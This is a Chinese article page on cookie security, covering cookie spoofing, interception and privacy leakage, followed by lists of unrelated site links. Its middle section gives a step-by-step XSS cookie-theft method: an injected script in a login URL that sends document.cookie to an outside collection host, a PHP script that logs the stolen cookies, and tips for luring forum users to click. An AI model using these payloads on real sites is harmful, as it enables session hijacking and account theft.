深入分析Cookie的安全性问题


Posted in Javascript onMarch 01, 2015

Cookie的目的是为用户带来方便,为网站带来增值,一般情况下不会造成严重的安全威胁。Cookie文件不能作为代码执行,也不会传送病毒,它为用户所专有并只能由创建它的服务器来读取。另外,浏览器一般只允许存放300个Cookie,每个站点最多存放20个Cookie,每个Cookie的大小限制为4KB,因此,Cookie不会塞满硬盘,更不会被用作"拒绝服务"攻击手段。

但是,Cookie作为用户身份的替代,其安全性有时决定了整个系统的安全性,Cookie的安全性问题不容忽视。

(1)Cookie欺骗 Cookie记录了用户的帐户ID、密码之类的信息,通常使用MD5方法加密后在网上传递。经过加密处理后的信息即使被网络上一些别有用心的人截获也看不懂。然而,现在存在的问题是,截获Cookie的人不需要知道这些字符串的含义,只要把别人的Cookie向服务器提交,并且能够通过验证,就可以冒充受害人的身份登陆网站,这种行为叫做Cookie欺骗。
非法用户通过Cookie欺骗获得相应的加密密钥,从而访问合法用户的所有个性化信息,包括用户的E-mail甚至帐户信息,对个人信息造成严重危害。
(2)Cookie截获
Cookie以纯文本的形式在浏览器和服务器之间传送,很容易被他人非法截获和利用。任何可以截获Web通信的人都可以读取Cookie。
Cookie被非法用户截获后,然后在其有效期内重放,则此非法用户将享有合法用户的权益。例如,对于在线阅读,非法用户可以不支付费用即可享受在线阅读电子杂志。

Cookie截获的手段有以下一些:

(1)用编程手段截获Cookie。下面分析其手法,该方法分两步完成。

步骤一:定位需要收集Cookie的网站,对其进行分析并构造URL。 首先打开要收集Cookie的网站,这里假设是http://www.XXX.net,登陆网站输入用户名"<Al>"(不含引号),对数据进行分析抓包,得到如下代码:
http://www.XXX.net/tXl/login/login.pl?username=<Al>&passwd=&ok.X=28&ok.y=6;
将其中"<Al>"更换为:
"<script>alert(document.cookie)</script>"再试,如果执行成功,就开始构造URL:
http://www.XXX.net/tXl/login/login.pl?username=<script>window.open ("http://www.cbifamily.org/cbi.php?"%2bdocument.cookie)</script>&passwd=&ok.X=28&ok.y=6.
其中http://www.cbifamily.org/cbi.php是用户能够控制的某台主机上的一个脚本。需要注意的是"%2b"为符号"+"的URL编码,因为"+"将被作为空格处理。该URL即可在论坛中发布,诱使别人点击。

步骤二:编制收集Cookie的PHP脚本,并将其放到用户可以控制的网站上,当不知情者点击了构造的URL后可以执行该PHP代码。该脚本的具体内容如下:

<?php 

$info=getenv("OUERY_STRING"); 

if($info){  

$fp=fopen("info.tXt","a");  

fwrite($fp,!info."\n"); 

fclose($fp);

} 

header("Location:http://www.XXX.net");

?>

将这段代码放到网络里,则能够收集所有人的Cookie。如果一个论坛允许HTML代码或者允许使用Flash标签,就可以利用这些技术收集Cookie的代码放到论坛里,然后给帖子取一个吸引人的主题,写上有趣的内容,很快就可收集到大量的Cookie。在论坛上,有许多人的密码就是被这种方法盗走的。
(2)利用Flash的代码隐患截获Cookie。Flash中有一个getURL()函数。Flash可以利用这个函数自动打开指定的网页,它可能把用户引向一个包含恶意代码的网站。例如,当用户在电脑上欣赏Flash动画时,动画帧里的代码可能已经悄悄地连上网,并打开了一个极小的包含有特殊代码的页面,这个页面可以收集Cookie、也可以做一些其他有害的事情。网站无法禁止Flash的这种作为,因为这是Flash文件的内部功能。
(3)Cookie泄漏网络隐私
Cookie导致网络隐私泄密的主要原因是:!商业利益驱动。随着电子商务的兴起和互联网上巨大商机的出现,一些网站和机构滥用Cookie,未经访问者的许可,利用搜索引擎技术、数据挖掘技术甚至是网络欺骗技术搜集他人的个人资料,达到构建用户数据库、发送广告等营利目的,造成用户个人隐私的泄漏。"Cookie信息传递的开放性。Cookie文件具有特殊的传递流程 和文本特性,在服务器和客户端之间传送未经安全加密的Cook-ie文件,易导致个人信息的泄密。

以上都是个人对于cookie安全性的理解,如有遗漏还请大家能够指正。

Javascript 相关文章推荐
优化Jquery,提升网页加载速度
Nov 14 Javascript
AMD异步模块定义介绍和Require.js中使用jQuery及jQuery插件的方法
Jun 06 Javascript
jQuery中:text选择器用法实例
Jan 03 Javascript
JavaScript判断是否为数字的4种方法及效率比较
Apr 01 Javascript
JavaScript中的Math.E属性使用详解
Jun 12 Javascript
javascript实现动态导入js与css等静态资源文件的方法
Jul 25 Javascript
JS+CSS实现自适应选项卡宽度的圆角滑动门效果
Sep 15 Javascript
Jquery中request和request.form和request.querystring的区别
Nov 26 Javascript
全面解析Bootstrap弹窗的实现方法
Dec 01 Javascript
JS 拼凑字符串的简单实例
Sep 02 Javascript
Vue项目History模式404问题解决方法
Oct 31 Javascript
Javascript文本框脚本实现方法解析
Oct 30 Javascript
浅谈JavaScript事件的属性列表
Mar 01 #Javascript
浅析javascript中的DOM
Mar 01 #Javascript
javascript中的正则表达式使用指南
Mar 01 #Javascript
JQuery中使文本框获得焦点的方法实例分析
Feb 28 #Javascript
jQuery实现折线图的方法
Feb 28 #Javascript
js中split和replace的用法实例
Feb 28 #Javascript
jQuery实现菜单感应鼠标滑动动画效果的方法
Feb 28 #Javascript
You might like
php导入excel文件到mysql数据库的方法
2015/01/14 PHP
php计算税后工资的方法
2015/07/28 PHP
yii框架redis结合php实现秒杀效果(实例代码)
2017/10/26 PHP
PHP异步进程助手async-helper
2018/02/05 PHP
图片onload事件触发问题解决方法
2011/07/31 Javascript
jquery实现非叠加式的搜索框提示效果
2014/01/07 Javascript
jQuery中关于ScrollableGridPlugin.js(固定表头)插件的使用逐步解析
2014/07/17 Javascript
jQuery常用数据处理方法小结
2015/02/20 Javascript
JavaScript各类型的关系图解
2015/10/16 Javascript
CascadeView级联组件实现思路详解(分离思想和单链表)
2016/04/12 Javascript
原生js实现autocomplete插件
2016/04/14 Javascript
使用JS实现图片展示瀑布流效果的实例代码
2016/09/12 Javascript
jQuery实现滚动条滚动到子元素位置(方便定位)
2017/01/08 Javascript
JavaScript实现焦点进入文本框内关闭输入法的核心代码
2017/09/20 Javascript
vux uploader 图片上传组件的安装使用方法
2018/05/15 Javascript
解决vue路由后界面没有变化,但是链接有的问题
2018/09/01 Javascript
React 组件中的 bind(this)示例代码
2018/09/16 Javascript
Vue一个案例引发的递归组件的使用详解
2018/11/15 Javascript
详解Angular中实现自定义组件的双向绑定的两种方法
2018/11/23 Javascript
关于IDEA中的.VUE文件报错 Export declarations are not supported by current JavaScript version
2020/10/17 Javascript
Vue 解决在element中使用$notify在提示信息中换行问题
2020/11/11 Javascript
Python如何获得百度统计API的数据并发送邮件示例代码
2019/01/27 Python
python 如何将数据写入本地txt文本文件的实现方法
2019/09/11 Python
40个你可能不知道的Python技巧附代码
2020/01/29 Python
如何在django中实现分页功能
2020/04/22 Python
this关键字的作用
2016/01/30 面试题
大学生军训自我评价分享
2013/11/09 职场文书
专营店会计助理岗位职责
2013/11/29 职场文书
中学家长会邀请函
2014/02/03 职场文书
建筑学专业自荐书
2014/07/09 职场文书
英文邀请函
2015/02/02 职场文书
实习推荐信格式模板
2015/03/27 职场文书
2015年个人工作总结报告
2015/04/25 职场文书
2015年小学英语教师工作总结
2015/05/12 职场文书
关于PostgreSQL JSONB的匹配和交集问题
2021/09/14 PostgreSQL
交互式可视化js库gojs使用介绍及技巧
2022/02/18 Javascript